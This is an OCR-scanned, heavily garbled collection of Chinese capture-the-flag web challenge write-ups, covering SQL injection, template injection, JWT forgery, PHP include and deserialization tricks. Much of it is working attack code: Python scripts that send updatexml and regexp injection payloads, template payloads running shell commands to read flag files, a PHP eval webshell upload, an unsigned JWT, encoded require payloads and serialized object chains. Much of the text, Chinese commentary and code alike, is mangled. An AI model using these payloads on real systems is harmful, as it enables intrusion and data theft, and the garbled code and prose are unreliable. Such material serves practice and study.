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apt-get remove docker docker-engine docker.io containerd runc

apt-get update

apt-get install apt-transport-https ca-certificates curl gnupg lsb-release

-fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archi
ve-keyring.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linu
x/ubuntu $(1lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io
sudo docker run hello-world

docker-compose

sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)"
-0 /usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

sudo 1n -s /usr/local/bin/docker-compose /usr/bin/docker-compose
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<?php
define C FLAG', ’flag{07fb67ff-a101-4a9b—9567—e95bced11955}  );
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LOAD SPLIT EXECUTE TEST ~ sqQLl -~ XSS -~ LFl ~ SSTI ~ ENCODING -~

URL
http://4ed9752b-f336-4312-b326-a852c8f67e65.node4.buuoj.cn/index.phi/config.php/%dd?source

iX B 123K Btindex.php/config.php

$_SERVER['PHP_SELF'R = L AT AR SC 48, A 7 PATH_INFOR, iXAMER AR BT AR DA%
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('empty($_POST["user_name"]) empty($_POST["ac
{
$msg rl;
$pattern ‘/select insert | update delete|and o

load_file|outfile/i"';

$user_name - $ POST["user name"];

$address =|addslashes($ _POST["address"]);

$phone = $ POST[ "phone"];
(preg_match($pattern,$user_name) preg_mat




db->query
(!$result) {
echo 'error';

print_r($db->error);
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import requests,string,random

tmp_str= string.printable

confirm_url = "http://cc79c7c7-3ald-4bf7-acae-d84be955a0b9.node4.buuoj.cn/confirm.php"
change_url = "http://cc79c7c7-3ald-4bf7-acae-d84be955a0b9.node4.buuoj.cn/change.php"

payload = "'/**/and/**/(updatexml(1,concat(@x7e,substr((select load file('/flag.txt')),31,64),0x7e),1));#"

confirm_data = {
"user_name":'4’',
"address":payload,
"phone":"1"

}

change_data = {
"user_name":'4"',
"address":"1",
"phone":"1"

}

print(requests.post(confirm_url,data=confirm_data).text)

print(requests.post(change _url,data=change_data).text)
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{% for x in ().__class__. base_ . subclasses_ () %}{% if "warning" in x.__name__ %}{{x()._module. builtins_ [

' dimport__ ']('os').popen('cat flasklight/coomme_ geeeett youur flek').read()}}{%endif%}{%endfor%}
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%0b 302 463
far 302 463
BEFORE 302 463
REGEXP 302 463
in 302 463
SEPARATOR 302 463
CURSOR 302 463
sys.schema table statistics with.. 302 463
from 302 463
else 302 463
length 200 496
handler 200 496
like 200 496
calart 2nn ACR/

:quest Response
| PR
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odpass |
newpass ]

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near """ and pwd="'b59c67bf196a4758191e42f76670ceba" at line 1
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import requests,random
url = "http://48e9d750-45da-4bf0-9a2d-b31d31dc5f17.node4.buuoj.cn/"
register_url = url + "register.php"

url + "login.php"

url + "changepwd.php"

def register(s,payload):
data =
"username" :payload,
"password":"123",
"email":"1
b
s.post(register_url,data=data)
def login(s,payload):
data = {
"username" :payload,
"password":"123"
by
print(s.post(login_url,data=data).text)
def changePasswd(s):
data = {
‘oldpass’
'newpass’
}
print(s.post(passwdUrl,data=data).text)

if __name__ == '__main__':

#payload = str(random.randint(1,9999))+'dem@"'+ "||(updatexml(1,concat(@x3a, (select(group_concat(table_name))fr
om(information_schema.tables)where(table_schema=database()))),1))#"

payload = str(random.randint(1,9999))+'dem@"'+ "||(updatexml(1,concat(@x3a, (select(group_concat(real_flag 1s_he
re))from(users)where(real flag 1s _here)regexp('~f'))),1))#"

s = requests.session()

register(s,payload)

login(s,payload)

changePasswd(s)
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“mysql.php”;
session_start();
if($ SESSION[ 'login'] !'= 'yes'){
header("Location: ./login.php");
die();
¥
if(isset($ _GET['do'])){
switch ($ _GET['do'])
{
case 'write':
$category = addslashes($_POST[ 'category']);
$title = addslashes($ POST['title']);
$content = addslashes($_POST[ 'content']);
$sql = "insert into board
set category = '$category’,
title = '$title’,
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];//E N EHE EHEUH R
$content = addslashes($_POST[ 'content']);
$sql = "insert into comment
set category = '$category’,
content = '$content’,
bo_id = '$bo_id'";
$result = mysql_query($sql);
¥
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
¥
}

else{
header("Location: ./index.php");
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mysgl> select username,#password
-» password from data;

e dom e +
| username | password |
e dom e +
| admin | admin |
| adminl | 123 |
| 2 | 123 |
| 2 | 123 |
| 3 | 123 |
| 3 | 123 |
| 97 | 123 |
e dom e +

7 rows in set (0.02 sec)
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select(load_file("/tmp/.DS_Store"))
flag 8946elfflee3ed0f.php

',content=(select hex(load file("/var/www/html/flag 8946elfflee3e40f.php"))),/*
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perl GE T 4 i fir & $ 17T => opents & SH LR XA A S T B e

payload: GET file:bash -c /readflag|&ZEXM bash -c /readflag| XANNHBFE

pathinfo() B LA 4 K97 303K B SO B AR AR B -
fi# 8

Purl=file:1s /|&filename=1s /|

RHERMNSFE LR H X Hreadflag MARXMEE EH A ZPT RIS MARERNFE—ANHE, WREHK /readflag
QUK SRR B R T RATARER, MAREFHIINERE bash -c

Purl=file:bash -c /readflag|&filename=bash -c /readflag|

BB R PR BHEE perl T FITRTL T .
0x07 [HFCTF2020]EasyLogin
AR

nodejs koatEZEH H H 3%, U



FOLDERS

JS app.js

jwitBi
SEE: https://www.freebuf.com/articles/web/181261.html

1. BBEA2. K% 7 B8 ‘none'=> —BIRFB[BESRF RN LOMIEMAI K HIERS256/8NHS256 (FEXTHRE 5 %= > X R % T 55

import jwttoken = jwt.encode({ "secretid": [], "username": "admin", "password": "123456", "iat": 1595991011}
,algorithm="none", key="")print(token)
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» shead>..</head>
¥ <body>

P odiv cpETr—swrapper—adeirBowmremydt f

b src="/static/js/app.js"></script>

<scrip
</body>

</html>
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function login() |

const username = 3( #username”). val();

const password = 3( 4password”). val();

const token = sessionStorasze. setltem( token™) ;
3. post (" fapiflosgin”,

Memory

fusername, password, authorization:token})
. done (function(data) 1

const [status} = data;
if(status) 1

document. location = “/home™;
}
1

.fail(function(xhr, textStatus, errorThrown) |
alert (xhr. responseS0ON. messaze)
I
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function lozout() |
3. 26t fapiflozout’ ). done (function(data) |
const [status} = data;
if(status) 1
document. location = * flogin’ ;
}

IR
}

fup— o=t ;
u] 3. 26t fapi/flag’ ). done(function(data) |
const [flag} = dath;
F( #username’ ). val (flag) ;
i fail (function(xhr, textStatus, errorThrown) |
alert (xhr. responseS0ON. messaze)
I

BEUbIapi controller/api.js EFEILZ )5

"POST /api/login': async (ctx, next) => { const {username, password} = ctx.request.body; if(lusern
ame || !password) { throw new APIError('login error', 'username or password is necessary'); }
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorizati

on; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; consol
e.log(sid) if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {

throw new APIError('login error', 'no such secret id'); } const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'}); const status username === user.user
name && password === user.password; if(status) { ctx.session.username username; }
ctx.rest({ status 1) await next(); 1,

REERRREARET

var secret o
var token "eyJoeXA101JKV1QiLCIhbGc101Jub251Ine@
const user = jwt.verify(token, secret);

console.log(user);

app.get('/index", runction (reqg, res) {

secretid: [],
username:
password:

aat: 1595901811
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const secret = global.secrets[sid]; MBidiX —a)5H AT LKAl # 2 .
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import requestsfrom urllib import parseimport stringurl = "http://01c27793-e7de-403c-8922-cf3a7970c82a.node4.buu
0j.cn:81/"strings= string.ascii_lowercase + string.digits + ' '"#EWEH/NEZEE HFE TRIKHR(EKIEHpassword =

you will never_know7788990'for x in range(6@): for j in strings: payload = { "username":"\\", "passwd":"||/*¥

/passwd/**/regexp/**/\"~{}\";{}".format (password+j,parse.unquote("%00")) } print(password+j) res = requests.p
ost(url=url,data=payload) if 'welcome' in res.text: password += j break if j=='_' and 'welcome' not

in res.text: break

R ETEHERE. =7 L HregexpRE, FTRLA\GRE, wLUH"RE, ...%007EmysqlFEF£FTBAA, yyds.
0x09 [HarekazeCTF2019]encode_and_encode

<?phpshow_source(__FILE_ );function is_valid($str) { $banword = [ // no path traversal “NoNo " 5 // no s
tream wrapper "(php|file|glob|data|tp|zip|zlib|phar):", // no data exfiltration 'flag' ]; $regexp = '
/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { echo $regexp; return false; } retu
rn true;}$body = file _get contents('php://input');$json = json_decode($body, true);if (is_valid($body) && isset(
$json) && isset($json['page'])) { $page = $json['page']; $content = file_get contents($page); if (!$content |
| !'is_valid($content)) { $content = "<p>not found</p>\n"; }} else { $content = '<p>invalid request</p>';}//
no data exfiltration!!!$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $conten

t);echo json_encode(['content’ => $content]);

RPN T —ANEHE, WL ETIRE. jsonsZ FrunicodeH 3118, B NjsonA sz
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0xB [RootersCTF2019]l_® [ _Flask

24T arjun, BESEAE .

python3 arjun -u http://270ecd40-84d3-4667-bee9-04c7c2aeb5c2.node3.buuoj.cn/ -c 100 -d 5

-d RIEIR5F, Bid.
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import base64from urllib.parse import quotedef rc4_main(key = "init_key", message = "init_message"): # print(
"RCANNZE FE K" ) s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return cryptdef rc

4 init_sbox(key): s_box = list(range(256)) # print("JERK s &: %s" % s_box) j =0 for i in range(25

6): j j s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] #
print ("EELE K : %s"% s_box) return s_boxdef rc4_excrypt(plain, box): # print("AAMEREZTEI. ")

res = [] i for s in plain: i=(i+ 1) % 256 j = (j + box[i]) % 256 box[i], b

ox[j] = box[]j] i t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) * k))

cipher =

.join(res) print("%s" %quote(cipher)) return (str(base64.b64encode(cipher.encode('utf-8')),

utf-8'))rcd _main("HereIsTreasure","{{lipsum.__globals . builtins__.eval(\"__import__ ('os').popen('cat /flag.tx
t').read()\")}}")

0x0D [GYCTF2020]EasyT hinking



THINKphp6 AE & U B EIRTR E B, 0 Lyidgeid disable
0x0E [NPUCTF2020]ezinclude

hashi™ R i HR R EFEE B ERHL T, Ul EEE B Acookieffihash, RJEF XS, php7iI%E.

.strip_tags/resource=/etc/passwdphp7 ZRAEZ*: php://filter/convert.quoted-printable-encode/

resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAAY T 0T Tt ot %t fl%fFAAAAAAAAAAAAAAAAAAAAAAAA

import requestsfrom io import BytesIOurl = "http://959b349a-2c6c-4b04-9799-5e5ela74035a.noded.buuoj.cn:81/" + "/
flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"payload = "<?php eval($_POST[a]);?>"file
"file": ('foo.png', BytesIO(payload.encode()), 'image/png')}print(requests.post(url,files=files,allow_red

0xOF [BJDCTF2020]EzPHP

<?phphighlight file(__FILE__);error_reporting(0); $file ;$shana = $ GET[ ];$passwd = $ GET[
1;$arg ;$code ;echo
;if($_SERVER) { if ( preg_match(

, $_SERVER[
1 ) die( ); }if (!preg_match(
ET[ 1) { if (preg_match( , $ GET[ 1 $ GET[ ]
$file $ GET[ 1; echo ; } } else die(
);if($_REQUEST) { foreach($ _REQUEST as $value) { if(preg_match( , $value))
die( ) } } if (file_get contents($file) ) die(
);if ( shal($shana) shal($passwd) $shana
$passwd ){ extract($_GET[ 1); echo ;1 else{
die( ); yif(preg_match(
, $code) preg_match(

, $arg) ) { die(
); } else { include
$code('', $arg); } ?>This

BRAMEAERU, FRRIRE, RIT—E—BRITIF2H.

POST /1nD3x.php?%64%65%62%75=%61qua%5fisk5ftcut%65%0a&file=%64%61%74%61%3a%21%21%74%65%78%74%21%70%6C%61%69%6€%2C
%664%65%62%75%5%64%65%62%75%51%61%71%75%618&%73%68%61%6€%61 [ 1=18&%70%61%73%73%77%64 [ ]1=28%66%6C%61%67 [ %63%61%64%65 |
=create_function&%66%6c%61%67[%61%72%67 |=; }require (~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%IA%IE%IB%C2%9C%9
0791%89%9A%8D%8B%D1%9D%IE%8CHIAKCI%CBHD2%9A%91%9C%90%9B%IA%DO%ED%IA%ECH%I0%8A%BD%ICHIA%C2%8D%IA%IE%CE%I9%93%CB%IY
%D1%8F%97%8F));// HTTP/1.1Host: 153b8623-e453-4191-bc43-77facb42b781.node4.buuoj.cn:81Cache-Control: max-age=0Up|

grade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/93.0.4577.63 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif]
,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Lang|

uage: zh,zh-TW;g=0.9,en-US;q=0.8,en;q=0.7,zh-CN;g=0.6Connection: closeContent-Type: application/x-www-form-urlen
codedContent-Length: 17debu=1&file=1

%% — 2 $SERVER N&x % 2 i $ Bt 47 urldecode, Bt LASRATTAE AT LARE LR



< C A F%2 | xinhutestl.com/?shana=1 & *

<Iphp
highlight_file{ FILE_);
error_reporting(0);

$tile = “InD3x.php”
Gishana = $_GET[ shana’]:
Gpasswd = $_GET[ passwd’ I,
arg =
Jeode = 7,
11(§_SERVER) {

echo  $_SERVER[’ QUERY_STRING 1,

if
pres_match( /shana |debulaqualcute |arg [code | £lag|system|exec [passwd | ass [eval |sort [shell lab [start [mail [\§ |soulshow |cont [high lreverse | £1ip lrand|scan| chr [1ocal [sess |id|source larra Ihead|1ight [read|inc | info [bin|hex |oct lecho lpri

die('fou seem to wvant to do comething bad?

} 9%73%68%61%6e%61="1

[® (] | Elements Console Sources Network Performance  Memory  Application  Security Lighthouse  HackBar B

LOAD SPLIT EXECUTE TEST - sQLl -~ Xss -~ LIEIR SSTI ~ ENCODING ~ HASHING ~ THED

URL
hittp://xinhutest1.com?%73%68%61%6e%61=1

Enable POST ADD HEADER

if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/”aqua_is_cute$/', $_GET['debu']
['debu'] !== 'aqua_is_cute') { $file = $ _GET["file"]; echo "Neeeeee! Good Job!<br>";

die('fxck you! What do you want to do ?!'");

IENFRE B SeE shFidh 75 2 B %0a

$file = “InD3x.php”
$shana = $_GET[ shana’1;
Spasswd = § OET[ passwd ];
Jarg = 7

Feode B
if(§_SERVER) [
echo  §_SERVER[  QUERY_STRING' ]
if
pres_match(’ /shana|debulaqualeute lare| code | f1ag| system|exsc [passwa lass [eval |sort [shell lob [start lmail [\$ |soulshow|cont [high|reverse [£1ip [rand |scan |chr [1ocal |sess |id|source [arra [head [1ight lread|ine [info [bin|hex

diel’fou seem to want to do something bad? )

}

it (lpreg_matchl’ /hvtp|https/i, $.GET[ file’ 1)) [
it (preg_match( / aqua_is_cute}/, $_GET[ dsbu’]) && $GET[ debu’] !==  aqua_is_cute’) {
$tile = 3§ GET["fi1e"];
echo “Neeeese! Good  Job!<brd”;
}

1 elee die( fxck you! What do you want to do 717D

%73%68%61%6e%61=18%70%61%73%73%77%64=1&%66%69%6¢%65=18%64%65%62%75=%61%71%75%61%5f%69%7 3%5{%63%75%74%65%0aNeecece! Good Job!

[® (]  FEements Console Sources  Network Performance  Memory  Application  Security Lighthouse  HackBar

LOAD SPLIT EXECUTE TEST -~ sQLl - Xs§s -~ LEl ~ SSTI - ENCODING -~ HASHING ~

URL
http:/xinhutest1.com?%73%68%61%6e%61=1&%70%61%73%73%77%64=18&%66%69%6C%65=18&%64%65%62%75=%61%71%75%61%5f%69%73%5{%63%75%74%65%0a

ANBATII ) —H

{ foreach($_REQUEST as $value) { if(preg_match( , $value))

)s }}



if ($_REQUEST) |
foreach($_REQUEST as Jvalue) [
[/ if(preg_match(’/[a-zA-Z]/1", $value))
echo  $value,
) // dieCfxek you! I hate Enzlish!’);

1 %73%68%61%6e%61="18%70%61%73%73%77%64="18%66%69%6c%65=1&8%64%65%62%75=%61%71%75%61%5{%69%7 3%5f%63%75%74%65%0aNeeeeee! Good Job!
111aqua is cute

[® @] = FElements Console  Sources Network Performance  Memory  Application  Security Lighthouse  HackBar

LOAD SPLIT EXECUTE TEST -~ saLl - Xss - LA ~ SSTI -~ ENCODING - HASHING -

URL
http://xinhutest1.com?%73%68%61%6e%61=1&%70%61%73%73%77%64=18%66%69%6C%65=18&%64%65%62%75=%61%71%75%61%5{%69%73%5{%63%75%74%65%0a

Enable POST ADD HEADER

AUAE H XERE T EROESE, REREEERI—EE,

IAVHE $_REQUEST IR 32 GET M1 POST i %d%, ¢ H POST AA ER/ MR LME /HERAMIE

}
1 %73%68%671%6€%61=18%70%61%73%73%77%64=18%66%69%6c%65=18%64%65%62%75=%61%71%75%61%5{%69%73%5{%63%75%74%65%0aNeeeeece! Good .
1112

[w ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST ~ sqQLl -~ XSS -~ LFI ~ SSTI ~ ENCODING -~ HASHING -~

URL
hitp:/xinhutest1.com?%73%68%61%6e%61=18%70%61%73%73%77%64=18%66%69%6C%65=18%64%65%62%75=%61%71%75%61%5f%69%73%5{%63%75%74%65%0a

enctype

@ cnable POST application/x-www-form-urlencoded M ADD HEADER

Body

%64%65%62%75=2

AR AEphp.inith B E K.

directive determines which super global arrays are registered when PHP; starts up. G,P,C,E & S are abbrey

iations for the following respective super; globals: GET, POST, COOKIE, ENV and SERVER. There is a performance p

enalty; paid for the registration of these arrays and because ENV is not as commonly; used as the others, ENV is
not recommended on productions servers. You; can still get access to the environment variables through getenv()
should you; need to.; Default Value: "EGPCS"; Development Value: "GPCS"; Production Value: "GPCS";; http://php.

net/variables-ordervariables order = "GPCS"

BE datafy XA 26, Wb AN, B8 EERA
SBhJE shal AHW T . HE LI

create_function()fAAREIEN, R —MIFRE—T, XPMRB—MRSHIIE, —Icode.



est\test.php (web) - Sublime Text (UNREGISTERED) - O

o Tools Project Preferences Help

4Pr exppy X | index.php

<?php
$myfunc =
($a+$b);");
(Emyfunc(1,2))4

function myfunc($a,$b){ return $a + $b;}
XFERE, BATMRSEAN
return $a + $b;} eval($_GET[A]);//

function myfunc($a,$b){ return $a+$b;} eval($_GET[A]);//}

RJE BA [ 25X I8

if(preg_match('/~[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass]|eval]|sort]|
shell|ob|start|mail|\" [\{|\%|x|\&|\$|\*|\]|[\<|\"|\"|\=]\?|sou|show]|cont|high|reverse|flip|rand|scan|chr|local|se

ss|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\*/i', $arg) )

{ die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { i

nclude "flag.php"; $code('"', $arg); } ?>This

U ZHHSHEAE T, FrURNLABEANINEG, RIKBEY , REMHCLAag.php, RITKREERFEREHAZEN
DEEAEM.

F—M FBHEFHTE get_defined_vars()

REBRNRSE R IMNEZES Eflag, RIMEFTEZEHRHE, WAEEHKREag, WMsidfagks, WRALSHHAT.
require(base64_decode(MWZsYWcucGhw));

XAEEEE, MR LCARES SIS, MATbLXet. SR, Hepgadidnr DA php 67 & 8 webshellgid 75 3

5 b BLR require N EMERIRRG

require (~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%DO%8D%IA%IEKIBIKC2%9C%90%91%89%9A%8D%8B%D1%ID%IE%BCHIAKCI%CBHD2%9A

%691%9C%90%9B%9A%DO%8D%IA%BC%I0%8A%BD%ICHIAKC2%CE%I9%I3%IE%O8%D1%8F%97%8F ) ) ;5 //

S Bkt AT BLEY

require (%8F%97%8F%C5%d0%d0%99%96%93%8b%9a%8d%d0%8d%Ia%Ie%Ib%C 2% C%I0%I1%89%9a%8d%8b%d1%9d%9e%8C%Ia%C 9%Cb%d2%9a%9
1%9C%90%9b%9a%d0%8d%9a%8 c%90%Ba%BA%I CKIA%C 2%C%IO%I3%ORKIBYA KB FHOTHBF N F FUFFUFFUFFUFFUFFUFFUFFUFFUFFUFFUFFUFFUF
PO FUFFUFFUTFUTFUTFUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUTEUFEUFEUFEUFEUFEUFFUFFHFF
D FUFFUFFUFFUFFRTFRET); /)

efine(aaa, fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%81%97%8F),r)); while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);



St 3 A 31 PR BT AL (8 Rl define 5 X .
require(get defined vars()[_GET][rce]);

preg_match A& IGHECEH, FrUABANHERE,

0x10 [HFCTF2020]JustEscape

0

0x11 [GXYCTF2019]StrongestMind

import requests,re,timeurl = "http://22a84737-9418-4164-96ef-38d03c69b58a.node4d.buuoj.cn:81/index.php"s = reques

ts.Session()a = s.get(url=url).content.decode('utf-8"')count = lwhile (count <= 1001): count = count + 1

xpr = re.findall(r'S—TF K% flaghi<br><br>(.*?)<br><br><form action="index.php" method="post">',a,re.S)[0]

s = eval(expr) data = { "answer":res } a = s.post(url,data).content.decode('utf-8") print(a)
rint(count) if(count % 20 == 0): time.sleep(2)

0x12 [GYCTF2020]Easyphp
AEXNMEEH I RPN EZNSEIFAER, BRER—EUNREEME, RAREEHNREME.

return safe(serialize(new Info($age,$nickname)));

JETHE BN FE R T I 775 B B R m AR B T



<?phpclass User{ public $age; public $nickname;}class Info{ public $CtrlCase;}Class UpdateHelper{ pu
blic $sql;}class dbCtrl{ public $name = "admin"; public $password = "1";}$user = new User();$info = new In
fo();$updateHelper= new UpdateHelper();$dbctrl = new dbCtrl();$sql="'select 1,"c4cad238a0b923820dcc509a6f75849b"
from user where username=?"';$updateHelper->sql = $user;$user->nickname = $info;$info->CtrlCase = $dbctrl;$user->
age=$sql;echo strlen(serialize($updateHelper));/* * ROZIE®CEFRFFNEE HENEFEEEXFERFFIH unionunion
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionun
ionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunio|
nunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionu
nionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionuni
onunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionun
ionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunio|
nunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionu
nionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionuni
onunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionun
ionunionunionunionunionunionunionunionunionunionunionunionunionunion”;s:8:"CtrlCase";0:12:"UpdateHelper":1:{s:3:
"sql";0:4:"User":2:{s:3:"age";s:70:"select 1,"c4cad238a0b923820dcc509a6175849b" from user where username=?";s:8:
"nickname";0:4:"Info":1:{s:8:"CtrlCase";0:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}} len
245 +17 = 262*%//* s:8:"nickname";s:nn:"aaaa";s:8:"CtrlCase";0:}}
}}" 0:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:245:"union"0:12: "UpdateHelper":1:{s:3:"sql";0:4:"User":2:{s
:3:"age";s:70:"select 1,"c4cad238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";0:4:"Info"
:1:{s:8:"CtrlCase";0:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}";s:8:"CtrlCase";N;} *//* O
:4:"Info":3:{s:8:"CtrlCase";N;s:3:"age";s:1:"1";s:8:"nickname";0:12:"UpdateHelper":1:{s:3:"sql";0:4:"User":2:{s:
3:"age";s:70:"select 1,"c4cad238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";0:4:"Info":
1:{s:8:"CtrlCase";0:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}} *//* 0:4:"Info":3:{s:3:"a
ge";s:1:"1";s:8:"nickname" ;s:1578:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacke
rhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhac
kerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerh
ackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacke
rhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhac
kerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerh
ackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacke
rhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhac
kerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerh
ackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacke
rhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhac
kerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerh
ackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacke
rhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhac
kerhackerhackerhackerhackerhackerhackerhacker";s:8:"CtrlCase";0:12:"UpdateHelper”:1:{s:3:"sql";0:4:"User":2:{s:3
:"age";s:70:"select 1,"c4cad238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";0:4:"Info":1
:{s:8:"CtrlCase";0:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;} */funct
ion safe($parm){ $array= array('union', 'regexp', 'load’', 'into', 'flag', 'file', 'insert',""","\\"',"*", "alter");
return str_replace($array, 'hacker',$parm);}$age="1";$nickname="1";%$a = new Info();%$a->age= $age;%$a->nickname =

$updateHelper;$b = serialize($a);$c = safe($b);echo $b;/* * 0:4:"Info":3:{s:8:"CtrlCase";N;s:3:"age";s:1:"1";s:
8:"nickname";s:1:"1";} */

¥ 583X/ payload B & FEI AT

0x13 [3 M #F 2019]Upload

exp




<?phpnamespace app\web\controller;class Register{ public $checker; public $registed;}class Profile{ pub

lic $checker; public $filename tmp; public $filename; public $upload menu; public $ext; public $i

public $except;}$register = new Register();$profile = new Profile();$register->registed = false;$register
->checker = $profile;$profile->except = ['index' => 'upload _img'];//$profile->img = "upload_img";$profile->check]
er = 0;%profile->ext = 1;$profile->filename_tmp = "./upload/7a6402c5476be@5795b55df4c522c5fa/17bdbd9b3e@e5a9e52b
8558b5c6c9f04.png"; $profile->filename = "./upload/7a6402c5476be@5795b55df4c522c5fa/17bdbd9b3e@e5a9e52b8558b5c6¢
9f04.php";echo base64 encode(serialize($register));

0x14 [SCTF2019]Flag Shop

X BfE A Krailsfero Bt iEN FIREX BEF T IR Z G RIE B FRF T L], B BLIRATR A T I #https://docs.ruby-
lang.org/en/2.4.0/globals_rdoc.html

T TH KIpayload3kHkey

GET /work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

<?=?>F B E XA B K {0 E A AT HAE, XEEARETKE RMAMKRESHERZE. RINEE
XERH, EXAES MpythonF M A A RELE KA EHLH . EMIEXE)

0x15 [SUCTF 2018]GetShell
7R Fwebshell
BHE 4

RE—NBBEHRA~NT TUERPATR, REELTRF £ REZEKwebshell

FHIB A
0x16 bestphp’s revenge
EAMRAR N IREBAHREE BR— SRR H RS KR U TN IRA

e php session& 54t
e soapclient ssrf

e crifiEA

REARIAA SRR AR, HEERXA

highlight_file(__ FILE_ );$b = 'implode';call_user_func($_GET['f'], $_POST);session_start();if (isset($_GET[ 'name
1)) { $ SESSION[ 'name’] $ GET[ 'name'];}var_dump($_SESSION);$a = array(reset($ _SESSION), 'welcome_to_ the lc

t£2018"');call user_func($b, $a);

ERXAMRAGR Y, REBEBAEBI. php sesssionz/FFILET 2 F N TE T 7 5 A6 B8 B IH% 24 F 3148 [ i Ab 28 2%
B 5 1181 KM B Rcall_user_func(‘call_user_func’,array(‘SoapClient’,'welcome_to_the_Ictf2018’))
SoapClient & BARKIX R A4 1T .

Directive X

session.save_handler sessionfR1EER. BRIl Hfiles



Directive X

session.save_path sessionfRFH1#2

session.serialize_handler session/FFIAE it BT FH AL 385 . BRINAphp.
